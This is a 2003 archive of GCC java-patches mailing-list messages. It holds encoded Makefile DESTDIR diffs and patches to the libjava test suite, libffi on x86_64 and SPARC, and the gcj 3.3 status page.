PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09DQpSQ1MgZmlsZTogL3Vzci9sb2NhbC9zcmMv Y3ZzL2djYy1jdnMvZ2NjL2xpYnN0ZGMrKy12My9pbmNsdWRlL01ha2VmaWxl LmluLHYNCnJldHJpZXZpbmcgcmV2aXNpb24gMS41Ny40LjENCmRpZmYgLXUg LXIxLjU3LjQuMSBNYWtlZmlsZS5pbg0KLS0tIGxpYnN0ZGMrKy12My9pbmNs dWRlL01ha2VmaWxlLmluCTYgSmFuIDIwMDMgMjI6MjA6MDQgLTAwMDAJMS41 Ny40LjENCisrKyBsaWJzdGRjKystdjMvaW5jbHVkZS9NYWtlZmlsZS5pbgkx MiBKYW4gMjAwMyAxODo0ODo1OSAtMDAwMA0KQEAgLTY3MywzMiArNjczLDMy IEBADQogCSAgICAtZSAncyxeI2luY2x1ZGUgIlwoLipcKSIsI2luY2x1ZGUg PGJpdHMvXDE+LGcnIFwNCiAJICAgIDwgJHt0b3BsZXZlbF9zcmNkaXJ9L2dj Yy8ke2dsaWJjcHBfdGhyZWFkX2h9ID4gJEANCiBpbnN0YWxsLWRhdGEtbG9j YWw6DQotCSQobWtpbnN0YWxsZGlycykgJHtneHhfaW5jbHVkZV9kaXJ9DQot CSQobWtpbnN0YWxsZGlycykgJHtneHhfaW5jbHVkZV9kaXJ9LyR7Yml0c19i dWlsZGRpcn0NCisJJChta2luc3RhbGxkaXJzKSAkKERFU1RESVIpJHtneHhf aW5jbHVkZV9kaXJ9DQorCSQobWtpbnN0YWxsZGlycykgJChERVNURElSKSR7 Z3h4X2luY2x1ZGVfZGlyfS8ke2JpdHNfYnVpbGRkaXJ9DQogCWZvciBmaWxl IGluICR7Yml0c19oZWFkZXJzfTsgZG8gXA0KLQkgICQoSU5TVEFMTF9EQVRB KSAkJHtmaWxlfSAke2d4eF9pbmNsdWRlX2Rpcn0vJHtiaXRzX2J1aWxkZGly fTsgZG9uZQ0KLQkkKG1raW5zdGFsbGRpcnMpICR7Z3h4X2luY2x1ZGVfZGly fS8ke2JhY2t3YXJkX2J1aWxkZGlyfQ0KKwkgICQoSU5TVEFMTF9EQVRBKSAk JHtmaWxlfSAkKERFU1RESVIpJHtneHhfaW5jbHVkZV9kaXJ9LyR7Yml0c19i dWlsZGRpcn07IGRvbmUNCisJJChta2luc3RhbGxkaXJzKSAkKERFU1RESVIp JHtneHhfaW5jbHVkZV9kaXJ9LyR7YmFja3dhcmRfYnVpbGRkaXJ9DQogCWZv ciBmaWxlIGluICR7YmFja3dhcmRfaGVhZGVyc307IGRvIFwNCi0JICAkKElO U1RBTExfREFUQSkgJCR7ZmlsZX0gJHtneHhfaW5jbHVkZV9kaXJ9LyR7YmFj a3dhcmRfYnVpbGRkaXJ9OyBkb25lDQotCSQobWtpbnN0YWxsZGlycykgJHtn eHhfaW5jbHVkZV9kaXJ9LyR7ZXh0X2J1aWxkZGlyfQ0KKwkgICQoSU5TVEFM TF9EQVRBKSAkJHtmaWxlfSAkKERFU1RESVIpJHtneHhfaW5jbHVkZV9kaXJ9 LyR7YmFja3dhcmRfYnVpbGRkaXJ9OyBkb25lDQorCSQobWtpbnN0YWxsZGly cykgJChERVNURElSKSR7Z3h4X2luY2x1ZGVfZGlyfS8ke2V4dF9idWlsZGRp cn0NCiAJZm9yIGZpbGUgaW4gJHtleHRfaGVhZGVyc307IGRvIFwNCi0JICAk KElOU1RBTExfREFUQSkgJCR7ZmlsZX0gJHtneHhfaW5jbHVkZV9kaXJ9LyR7 ZXh0X2J1aWxkZGlyfTsgZG9uZQ0KLQkkKG1raW5zdGFsbGRpcnMpICR7Z3h4 X2luY2x1ZGVfZGlyfS8ke2NfYmFzZV9idWlsZGRpcn0NCisJICAkKElOU1RB TExfREFUQSkgJCR7ZmlsZX0gJChERVNURElSKSR7Z3h4X2luY2x1ZGVfZGly fS8ke2V4dF9idWlsZGRpcn07IGRvbmUNCisJJChta2luc3RhbGxkaXJzKSAk KERFU1RESVIpJHtneHhfaW5jbHVkZV9kaXJ9LyR7Y19iYXNlX2J1aWxkZGly fQ0KIAlmb3IgZmlsZSBpbiAke2NfYmFzZV9oZWFkZXJzX3JlbmFtZX07IGRv IFwNCi0JICAkKElOU1RBTExfREFUQSkgJHtjX2Jhc2VfYnVpbGRkaXJ9LyQk e2ZpbGV9ICR7Z3h4X2luY2x1ZGVfZGlyfTsgZG9uZQ0KKwkgICQoSU5TVEFM TF9EQVRBKSAke2NfYmFzZV9idWlsZGRpcn0vJCR7ZmlsZX0gJChERVNURElS KSR7Z3h4X2luY2x1ZGVfZGlyfS8ke2NfYmFzZV9idWlsZGRpcn07IGRvbmUN CiAJY19iYXNlX2hlYWRlcnNfZXh0cmFfaW5zdGFsbD0nJChjX2Jhc2VfaGVh ZGVyc19leHRyYSknO1wNCiAJZm9yIGZpbGUgaW4gJCRjX2Jhc2VfaGVhZGVy c19leHRyYV9pbnN0YWxsOyBkbyBcDQotCSAgJChJTlNUQUxMX0RBVEEpICQk ZmlsZSAke2d4eF9pbmNsdWRlX2Rpcn0vJHtiaXRzX2J1aWxkZGlyfTsgZG9u ZQ0KKwkgICQoSU5TVEFMTF9EQVRBKSAkJGZpbGUgJChERVNURElSKSR7Z3h4 X2luY2x1ZGVfZGlyfS8ke2JpdHNfYnVpbGRkaXJ9OyBkb25lDQogCWNfY29t cGF0aWJpbGl0eV9oZWFkZXJzX2luc3RhbGw9JyQoY19jb21wYXRpYmlsaXR5 X2hlYWRlcnNfZXh0cmEpJztcDQogCWZvciBmaWxlIGluICQkY19jb21wYXRp YmlsaXR5X2hlYWRlcnNfaW5zdGFsbDsgZG8gXA0KLQkgICQoSU5TVEFMTF9E QVRBKSAkJGZpbGUgJHtneHhfaW5jbHVkZV9kaXJ9OyBkb25lDQotCSQobWtp bnN0YWxsZGlycykgJHtneHhfaW5jbHVkZV9kaXJ9LyR7c3RkX2J1aWxkZGly fQ0KKwkgICQoSU5TVEFMTF9EQVRBKSAkJGZpbGUgJChERVNURElSKSR7Z3h4 X2luY2x1ZGVfZGlyfTsgZG9uZQ0KKwkkKG1raW5zdGFsbGRpcnMpICQoREVT VERJUikke2d4eF9pbmNsdWRlX2Rpcn0vJHtzdGRfYnVpbGRkaXJ9DQogCWZv ciBmaWxlIGluICR7c3RkX2hlYWRlcnNfcmVuYW1lfTsgZG8gXA0KLQkgICQo SU5TVEFMTF9EQVRBKSAke3N0ZF9idWlsZGRpcn0vJCR7ZmlsZX0gJHtneHhf aW5jbHVkZV9kaXJ9OyBkb25lDQotCSQobWtpbnN0YWxsZGlycykgJHtneHhf aW5jbHVkZV9kaXJ9LyR7dGFyZ2V0X2J1aWxkZGlyfQ0KKwkgICQoSU5TVEFM TF9EQVRBKSAke3N0ZF9idWlsZGRpcn0vJCR7ZmlsZX0gJChERVNURElSKSR7 Z3h4X2luY2x1ZGVfZGlyfS8ke3N0ZF9idWlsZGRpcn07IGRvbmUNCisJJCht a2luc3RhbGxkaXJzKSAkKERFU1RESVIpJHtneHhfaW5jbHVkZV9kaXJ9LyR7 dGFyZ2V0X2J1aWxkZGlyfQ0KIAlmb3IgZmlsZSBpbiAke3RhcmdldF9oZWFk ZXJzfSAke3RhcmdldF9oZWFkZXJzX2V4dHJhfSBcDQogCSAke3RocmVhZF90 YXJnZXRfaGVhZGVyc307IGRvIFwNCi0JICAkKElOU1RBTExfREFUQSkgJCR7 ZmlsZX0gJHtneHhfaW5jbHVkZV9kaXJ9LyR7dGFyZ2V0X2J1aWxkZGlyfTsg ZG9uZQ0KKwkgICQoSU5TVEFMTF9EQVRBKSAkJHtmaWxlfSAkKERFU1RESVIp JHtneHhfaW5jbHVkZV9kaXJ9LyR7dGFyZ2V0X2J1aWxkZGlyfTsgZG9uZQ0K IA0KICMgQnkgYWRkaW5nIHRoZXNlIGZpbGVzIGhlcmUsIGF1dG9tYWtlIHdp bGwgcmVtb3ZlIHRoZW0gZm9yICdtYWtlIGNsZWFuJw0KICNDTEVBTkZJTEVT ID0gJHthbGxzdGFtcHN9DQo= --8323584-1869864082-1042396557=:2599 Content-Type: TEXT/PLAIN; charset=US-ASCII; name="destdir-no-ag-3.3-1.diff" Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: Content-Disposition: attachment; filename="destdir-no-ag-3.3-1.diff" SW5kZXg6IE1ha2VmaWxlLmluDQo9PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQpS Q1MgZmlsZTogL3Vzci9sb2NhbC9zcmMvY3ZzL2djYy1jdnMvZ2NjL01ha2Vm aWxlLmluLHYNCnJldHJpZXZpbmcgcmV2aXNpb24gMS4xMjkuMi4yDQpkaWZm IC11IC1yMS4xMjkuMi4yIE1ha2VmaWxlLmluDQotLS0gTWFrZWZpbGUuaW4J MzEgRGVjIDIwMDIgMjA6MDc6MzMgLTAwMDAJMS4xMjkuMi4yDQorKysgTWFr ZWZpbGUuaW4JMTIgSmFuIDIwMDMgMTg6NDg6NTkgLTAwMDANCkBAIC0zNjcs NiArMzY3LDcgQEANCiAJIkNYWEZMQUdTPSQoQ1hYRkxBR1MpIiBcDQogCSJD WFhGTEFHU19GT1JfVEFSR0VUPSQoQ1hYRkxBR1NfRk9SX1RBUkdFVCkiIFwN CiAJIkNYWF9GT1JfVEFSR0VUPSQoQ1hYX0ZPUl9UQVJHRVQpIiBcDQorCSJE RVNURElSPSQoREVTVERJUikiIFwNCiAJIkRMTFRPT0xfRk9SX1RBUkdFVD0k KERMTFRPT0xfRk9SX1RBUkdFVCkiIFwNCiAJIklOU1RBTEw9JChJTlNUQUxM KSIgXA0KIAkiSU5TVEFMTF9EQVRBPSQoSU5TVEFMTF9EQVRBKSIgXA0KQEAg LTk5OCw3ICs5OTksNyBAQA0KIGluc3RhbGwtaW5mbzogZG8taW5zdGFsbC1p bmZvIGRpci5pbmZvDQogCXM9YGNkICQoc3JjZGlyKTsgJHtQV0R9YDsgZXhw b3J0IHM7IFwNCiAJaWYgWyAtZiBkaXIuaW5mbyBdIDsgdGhlbiBcDQotCSAg JChJTlNUQUxMX0RBVEEpIGRpci5pbmZvICQoaW5mb2RpcikvZGlyLmluZm8g OyBcDQorCSAgJChJTlNUQUxMX0RBVEEpIGRpci5pbmZvICQoREVTVERJUikk KGluZm9kaXIpL2Rpci5pbmZvIDsgXA0KIAllbHNlIHRydWUgOyBmaQ0KIA0K IGxvY2FsLWNsZWFuOg0KQEAgLTE3ODUsNyArMTc4Niw3IEBADQogDQogZGly LmluZm86IGRvLWluc3RhbGwtaW5mbw0KIAlpZiBbIC1mICQoc3JjZGlyKS90 ZXhpbmZvL2dlbi1pbmZvLWRpciBdIDsgdGhlbiBcDQotCSAgJChzcmNkaXIp L3RleGluZm8vZ2VuLWluZm8tZGlyICQoaW5mb2RpcikgJChzcmNkaXIpL3Rl eGluZm8vZGlyLmluZm8tdGVtcGxhdGUgPiBkaXIuaW5mby5uZXcgOyBcDQor CSAgJChzcmNkaXIpL3RleGluZm8vZ2VuLWluZm8tZGlyICQoREVTVERJUikk KGluZm9kaXIpICQoc3JjZGlyKS90ZXhpbmZvL2Rpci5pbmZvLXRlbXBsYXRl ID4gZGlyLmluZm8ubmV3IDsgXA0KIAkgIG12IC1mIGRpci5pbmZvLm5ldyBk aXIuaW5mbyA7IFwNCiAJZWxzZSB0cnVlIDsgXA0KIAlmaQ0K --8323584-1869864082-1042396557=:2599 Content-Type: APPLICATION/x-gunzip; name="destdir-changelog-3.3-1.tar.gz" Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: Content-Disposition: attachment; filename="destdir-changelog-3.3-1.tar.gz" H4sIAEeuIT4CA+2aUW/iOBDHeSWfwqr6ULZNCEkI0ul0Ona7e1eJ665K7+Ge kHEMeBvsKDbtVqv77jcmBEKACz2V7dH6/4IY7Ixj5mePJ3GaY0KaOMLNDxPM x7Qnxk5EpYpYWnsuuS3XDYOg5oI6YfbZWnzXClphDX5ouT5YXQ/aBx2/XUNu 7QdoJhVOEaqRScrkv7ajqay9Onmu69tuy255CH3QU6AY5uiDSDmNpaQcoZ8J gW+/EumomT2kacw4RMgvllV/h/7Ad9SOIW4cxtEZRBF8wnzGsc34SFygooWI 6VTwhlWft5vxhb3xE/qS0oTyCJ2eXX7s315e3TSQEkhNKNKRyDhWTHCrDiFJ iRLpIwJn0BOdzXhjcZV5E6RdYB5JJx/biMV0PrR8EGO4WMyGFyg3pErCCC6Z UsKxrNqbkzPnnyQHxL+af21b5z9sGf6Pjn9yfl6i/QIVbcCmxl+bqvEvoI8S rCYSkLXqVdhvGQN4uKEPKVMUPPSuG8vm2oucJYlIlVVfuEYPTE3QScxPEJbo gYI7/bkwIluevLJVIuN/dEj8K/n3g1aZ/8D3DP/Hxv+o09ngv2jTOYFeAIo2 IDFrVLkiQAKwZUmoSgTe4Jb+H/j/iu8PeACo4r/d8kr8gyU0/B8b/zqKNhaA uXEFN+C/1iw7J6yZdJqwbQ2w6jvSgsrDwLaR7UoL3lhWkPGvUkr133iYNaB6 /2+X+A/dltn/j47/PIpy0pyMNCcSnGrwy78v4F+at6QAVr36VLAVf6tucoD9 +T9k9l/Jv9f28vO/F/jhPP/3PNfwfxz8L2tsn28ur667N38NPvW6v/UHt58H X7r9PrDcjaUAWqVEC5T1lrzcjZNkWY2DwJOr0tyqYJhbopTd03TVIls/SuWF /OuE4ogWr8c4iWcRtcHLyrhoZUMQbOkMo2NiszFJCl7vFtZidyLimBLlXaAD HWvKc7JPkSOffau+RzqzdKD/E7h6n02T+BEBBWh6V/ipOJSYDWExKUzNLFYM jDtC4B1cKesC4bOrDHR6Bk3kbAi+Gnpe1IRa9bVJKU7fPU4ZHsYU6bHNXRDB R2zcxHEywU1lCzkK0Fn/997V+8HVdf+22+sV/5hSsgnfJbgv+Ea76825p3QK fjhVQxlteuqxO/rAJC32YDgMoMskmX3br8OUJRI6MKC1bYf79UnwwoUtJ3BL +3VKZQjrM3TE7FvgP71P29uvj7JlFgg2jUc2hPNTu8l4z7nGKdFDS8nqkUAe pdq6G9ItcYheQ8nBacJ9jTzykvV/32tt1v/N/n9s+/9Ttv09Nsb1h3+m3ndA /hn8rerxYEtAFf9e2CnX/4LAPP97zfwPlBhkmdUyXdQmJYTO3HTnKEJ4PdVc HukN5c/Mvxh+JS/4/o/vl5//t912x/D/ivnXZ0W5cbA2j/5ehn/AnZyf2/f+ y9T/Q98t899um/r/EfC/KKk1l+sAnq4O1hFW2I4Fwc9cz0foT0nR6XcyGGJJ B8MZiyOI1L+Rfnp3+h3CdmWz6liuOcmO8PP3CBmdV8cwmTB6T3WFQMLtU04e 57UwOHNAOxoxPl7PQ1BhJNcC0dEILoeGlGBdHRsK3TUvROnGXGG4qRPnBAke Pzpb500XwG7omHKaYkV/4NrlHLj2v9f+v/H+rx+0fcP/Ee3/KgFk33f7H59W /M8K+LpWO383aHcRWP+sDwblN3tfiBojIyMjIyMjIyMjIyMjIyMjIyMjIyMj IyMjIyMjIyMjo/+P/gHh7ek1AFAAAA== --8323584-1869864082-1042396557=:2599-- From java-patches-return-5797-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Jan 13 00:23:04 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 31213 invoked by alias); 13 Jan 2003 00:23:03 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 31205 invoked from network); 13 Jan 2003 00:23:03 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 209.249.29.67 with SMTP; 13 Jan 2003 00:23:03 -0000 Received: from fleche.redhat.com (tz0171.peakpeak.com [207.174.69.171]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id RAA04921; Sun, 12 Jan 2003 17:21:57 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 778B94F8057; Sun, 12 Jan 2003 17:26:49 -0700 (MST) To: Java Patch List Subject: Patch: FYI: PR 9139 From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: I Know A Joke Date: 12 Jan 2003 17:26:48 -0700 Message-ID: <87iswtuc6v.fsf@fleche.redhat.com> Lines: 101 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii I'm checking this in on the trunk and the branch. This fixes PR 9139. Now you should be able to run the Mauve tests without doing `make install' first. Tom Index: ChangeLog from Tom Tromey Fix for PR libgcj/9139: * lib/libjava.exp (find_javac): Put value of libgcj_jar into return value when gcj is used. * libjava.mauve/mauve.exp (test_mauve): Use libgcj_jar global. Index: lib/libjava.exp =================================================================== RCS file: /cvs/gcc/gcc/libjava/testsuite/lib/libjava.exp,v retrieving revision 1.46 diff -u -r1.46 libjava.exp --- lib/libjava.exp 13 Dec 2002 05:00:14 -0000 1.46 +++ lib/libjava.exp 13 Jan 2003 00:17:15 -0000 @@ -1,4 +1,4 @@ -# Copyright (C) 1998, 1999, 2000, 2001, 2002 Free Software Foundation +# Copyright (C) 1998, 1999, 2000, 2001, 2002, 2003 Free Software Foundation load_lib "libgloss.exp" @@ -74,7 +74,7 @@ } proc find_javac {} { - global SUN_JAVAC GCJ_UNDER_TEST env + global SUN_JAVAC GCJ_UNDER_TEST env libgcj_jar # If JDK doesn't run on your platform but some other # JDK-compatible javac does, you may set SUN_JAVAC to point to it. # One of the most important properties of a SUN_JAVAC is that it @@ -87,7 +87,7 @@ if {[info exists env(SUN_JAVAC)]} { set SUN_JAVAC $env(SUN_JAVAC) } else { - set SUN_JAVAC "$GCJ_UNDER_TEST -C" + set SUN_JAVAC "$GCJ_UNDER_TEST -C -I$libgcj_jar" } } return $SUN_JAVAC Index: libjava.mauve/mauve.exp =================================================================== RCS file: /cvs/gcc/gcc/libjava/testsuite/libjava.mauve/mauve.exp,v retrieving revision 1.17 diff -u -r1.17 mauve.exp --- libjava.mauve/mauve.exp 13 Dec 2002 05:00:15 -0000 1.17 +++ libjava.mauve/mauve.exp 13 Jan 2003 00:17:16 -0000 @@ -1,4 +1,4 @@ -# Copyright (C) 1998, 1999, 2000, 2001, 2002 Free Software Foundation. +# Copyright (C) 1998, 1999, 2000, 2001, 2002, 2003 Free Software Foundation. # Written by Tom Tromey . # Incorporate Mauve into libjava's DejaGNU test suite framework. @@ -86,25 +86,25 @@ set full_srcdir [pwd] cd $here/mauve-build - global env - global GCJ_UNDER_TEST - global TOOL_EXECUTABLE - - if ![info exists GCJ_UNDER_TEST] { - if [info exists TOOL_EXECUTABLE] { - set GCJ_UNDER_TEST $TOOL_EXECUTABLE; - } else { - if [info exists env(GCJ)] { - set GCJ_UNDER_TEST env(GCJ) - } else { - set GCJ_UNDER_TEST "[find_gcj]" - } - } + global env libgcj_jar + global GCJ_UNDER_TEST + global TOOL_EXECUTABLE + + if ![info exists GCJ_UNDER_TEST] { + if [info exists TOOL_EXECUTABLE] { + set GCJ_UNDER_TEST $TOOL_EXECUTABLE; + } else { + if [info exists env(GCJ)] { + set GCJ_UNDER_TEST env(GCJ) + } else { + set GCJ_UNDER_TEST "[find_gcj]" + } } + } - # Append -B and -I so that libgcj.spec and libgcj.zip are found - # before they're installed. - set env(GCJ) "$GCJ_UNDER_TEST -B$objdir/../ -I$objdir/../libgcj.jar" + # Append -B and -I so that libgcj.spec and libgcj.jar are found + # before they're installed. + set env(GCJ) "$GCJ_UNDER_TEST -B$objdir/../ -I$libgcj_jar" if {[catch { system "$env(MAUVEDIR)/configure --with-gcj 2>&1" From java-patches-return-5798-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Jan 13 17:55:48 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 11171 invoked by alias); 13 Jan 2003 17:55:46 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 11154 invoked from network); 13 Jan 2003 17:55:46 -0000 Received: from unknown (HELO executor.cambridge.redhat.com) (195.224.55.237) by 209.249.29.67 with SMTP; 13 Jan 2003 17:55:46 -0000 Received: from cuddles.cambridge.redhat.com (vpn50-20.rdu.redhat.com [172.16.50.20]) by executor.cambridge.redhat.com (Postfix) with ESMTP id 403ECABB17; Mon, 13 Jan 2003 17:55:32 +0000 (GMT) Received: (from aph@localhost) by cuddles.cambridge.redhat.com (8.11.6/8.11.0) id h0DHttI26618; Mon, 13 Jan 2003 17:55:55 GMT From: Andrew Haley MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15906.64939.5773.515862@cuddles.cambridge.redhat.com> Date: Mon, 13 Jan 2003 17:55:55 +0000 (GMT) To: Anthony Green , gcc-patches@gcc.gnu.org, Subject: [libffi] More x86_64 bugs In-Reply-To: <15902.64736.959172.275084@cuddles.cambridge.redhat.com> References: <1041622060.1560.34.camel@escape> <15902.64736.959172.275084@cuddles.cambridge.redhat.com> libffi gets confused with void return type on x86_64. With this patch, all CNI tests pass. Now down to 14 unexpected failures on libgcj. Andrew. 2003-01-10 * src/x86/unix64.S: Add unwind info. Index: src/x86/ffi64.c =================================================================== RCS file: /cvs/gcc/gcc/libffi/src/x86/ffi64.c,v retrieving revision 1.2 diff -u -r1.2 ffi64.c --- src/x86/ffi64.c 2 Oct 2002 06:21:54 -0000 1.2 +++ src/x86/ffi64.c 13 Jan 2003 17:49:37 -0000 @@ -285,7 +285,8 @@ /* First check if the return value should be passed in memory. If so, pass the pointer as the first argument. */ gprcount = ssecount = 0; - if (examine_argument (ecif->cif->rtype, 1, &g, &s) == 0) + if (ecif->cif->rtype->type != FFI_TYPE_VOID + && examine_argument (ecif->cif->rtype, 1, &g, &s) == 0) (void *)stack->gpr[gprcount++] = ecif->rvalue; for (i=ecif->cif->nargs, p_arg=ecif->cif->arg_types, p_argv = ecif->avalue; @@ -389,8 +390,8 @@ /* If the return value should be passed in memory, pass the pointer as the first argument. The actual memory isn't allocated here. */ - - if (examine_argument (cif->rtype, 1, &g, &s) == 0) + if (cif->rtype->type != FFI_TYPE_VOID + && examine_argument (cif->rtype, 1, &g, &s) == 0) gprcount = 1; /* Go over all arguments and determine the way they should be passed. From java-patches-return-5799-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Jan 14 05:16:03 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 10835 invoked by alias); 14 Jan 2003 05:16:00 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 10793 invoked from network); 14 Jan 2003 05:15:58 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 209.249.29.67 with SMTP; 14 Jan 2003 05:15:58 -0000 Received: from fleche.redhat.com (tq0215.peakpeak.com [207.174.177.215]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id WAA27664; Mon, 13 Jan 2003 22:15:46 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 535B84F8057; Mon, 13 Jan 2003 22:20:55 -0700 (MST) To: Java Patch List Cc: Gcc Patch List Subject: Patch: FYI: gcj 3.3 status update From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: .. I want a COLOR T.V. and a VIBRATING BED!!! Date: 13 Jan 2003 22:20:55 -0700 Message-ID: <878yxopars.fsf@fleche.redhat.com> Lines: 37 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii I'm checking this in. This updates the gcj 3.3 status page with some recent info. Tom Index: ChangeLog from Tom Tromey * gcj-3.3-status.html: Status for Crypto, rhug. Index: gcj-3.3-status.html =================================================================== RCS file: /cvs/gcc/wwwdocs/htdocs/java/gcj-3.3-status.html,v retrieving revision 1.6 diff -u -r1.6 gcj-3.3-status.html --- gcj-3.3-status.html 5 Jan 2003 01:09:09 -0000 1.6 +++ gcj-3.3-status.html 14 Jan 2003 05:15:09 -0000 @@ -131,7 +131,7 @@ - + @@ -151,8 +151,8 @@ - - + +
Class libgcj Classpath Merge Status
java.awt.List Yes Yes Diff
java.awt.Toolkit Yes Yes Diff
java.io.DataOutputStream Yes Yes No
java.io.FileDescriptor Yes Yes No
java.io.LineNumberReader Yes Yes No
java.io.ObjectInputStream Yes Yes Diff
java.io.ObjectOutputStream Yes Yes Diff
java.io.ObjectStreamClass Yes Yes Diff
java.io.ObjectStreamField Yes Yes Diff
java.io.OutputStreamWriter Yes Yes No
java.io.PrintStream Yes Yes No
java.lang.VMThrowable Yes No Yes
java.lang.Win32Process Yes No No
java.net.DatagramSocket Yes Yes No
java.net.HttpURLConnection Yes Yes Diff
java.net.InetAddress Yes Yes No
java.net.JarURLConnection Yes Yes No
java.net.MimeTypeMapper No Yes No
java.util.prefs.PreferencesFactory No Yes No
java.util.prefs.Preferences No Yes No
java.util.ResourceBundle Yes Yes Diff
java.util.TreeMap Yes Yes Diff
java.util.zip.DeflaterConstants No Yes No
java.util.zip.DeflaterEngine No Yes No
java.util.zip.DeflaterHuffman No Yes No
rhug   Problems build all archs; not gcj bug (as far as we know)  
GNU Crypto     1.1pre5 fine on x86 Linux Tom Tromey
From java-patches-return-5800-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Jan 14 09:51:12 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 19241 invoked by alias); 14 Jan 2003 09:51:10 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 19223 invoked from network); 14 Jan 2003 09:51:06 -0000 Received: from unknown (HELO Cantor.suse.de) (213.95.15.193) by 209.249.29.67 with SMTP; 14 Jan 2003 09:51:06 -0000 Received: from Hermes.suse.de (Hermes.suse.de [213.95.15.136]) by Cantor.suse.de (Postfix) with ESMTP id 89AD9147BD; Tue, 14 Jan 2003 10:50:54 +0100 (MET) To: Jeff Sturm Cc: gcc-patches@gcc.gnu.org, Subject: Re: [libffi] closures for sparc From: Andreas Jaeger Date: Tue, 14 Jan 2003 10:50:50 +0100 In-Reply-To: (Jeff Sturm's message of "Sat, 28 Dec 2002 12:13:09 -0500 (EST)") Message-ID: User-Agent: Gnus/5.090013 (Oort Gnus v0.13) XEmacs/21.4 (Honest Recruiter, x86_64-suse-linux) References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Jeff Sturm writes: > This is a repost from July, cleaned up and retested on mainline. It > enables closures for sparc and sparc64, to prepare for enabling the > libjava bytecode interpreter. > > Special thanks to Ulrich Weigand for sorting through the difficult > size/endianness/alignment issues for s390x: > > http://gcc.gnu.org/ml/java-patches/2002-q4/msg00000.html > > Tested on sparcv9-sun-solaris2.8 by running ffitest on sparcv7 and sparcv9 > multilibs. Bootstrap successful with GNU binutils and Sun as/ld. > > OK for mainline? > > 2002-12-28 Jeff Sturm > > * include/ffi.h.in: Add closure defines for SPARC, SPARC64. > * src/ffitest.c (main): Use static storage for closure. > * src/sparc/ffi.c (ffi_prep_closure, ffi_closure_sparc_inner): New. > * src/sparc/v8.S (ffi_closure_v8): New. > * src/sparc/v9.S (ffi_closure_v9): New. > > Index: include/ffi.h.in > =================================================================== > RCS file: /cvs/gcc/gcc/libffi/include/ffi.h.in,v > retrieving revision 1.21 > diff -u -p -r1.21 ffi.h.in > --- include/ffi.h.in 6 Dec 2002 01:16:44 -0000 1.21 > +++ include/ffi.h.in 28 Dec 2002 16:44:23 -0000 > @@ -443,6 +443,18 @@ struct ffi_ia64_trampoline_struct { > #define FFI_TRAMPOLINE_SIZE 24 /* see struct below */ > #define FFI_NATIVE_RAW_API 0 > > +#elif defined(SPARC64) > + > +#define FFI_CLOSURES 1 > +#define FFI_TRAMPOLINE_SIZE 24 > +#define FFI_NATIVE_RAW_API 0 > + > +#elif defined(SPARC) > + > +#define FFI_CLOSURES 1 > +#define FFI_TRAMPOLINE_SIZE 16 > +#define FFI_NATIVE_RAW_API 0 > + > #elif defined(S390) > > #define FFI_CLOSURES 1 > Index: src/ffitest.c > =================================================================== > RCS file: /cvs/gcc/gcc/libffi/src/ffitest.c,v > retrieving revision 1.9 > diff -u -p -r1.9 ffitest.c > --- src/ffitest.c 6 Dec 2002 01:16:45 -0000 1.9 > +++ src/ffitest.c 28 Dec 2002 16:44:23 -0000 > @@ -1044,7 +1044,9 @@ int main(/*@unused@*/ int argc, /*@unuse > # if FFI_CLOSURES > /* A simple closure test */ > { > - ffi_closure cl; > + /* The closure must not be an automatic variable on > + platforms (Solaris) that forbid stack execution by default. */ > + static ffi_closure cl; > ffi_type * cl_arg_types[3]; > > cl_arg_types[0] = &ffi_type_sint; This breaks on x86-64 with: /usr/src/aj/cvs/gcc/libffi/src/ffitest.c: In function `main': /usr/src/aj/cvs/gcc/libffi/src/ffitest.c:431: error: syntax error before "cl" make[4]: *** [ffitest.lo] Error 1 I'm committing the appended patch as obvious, Andreas 2003-01-14 Andreas Jaeger * src/ffitest.c (main): Only use ffi_closures if those are supported. ============================================================ Index: libffi/src/ffitest.c --- src/ffitest.c 14 Jan 2003 05:15:21 -0000 1.11 +++ src/ffitest.c 14 Jan 2003 09:48:56 -0000 @@ -426,10 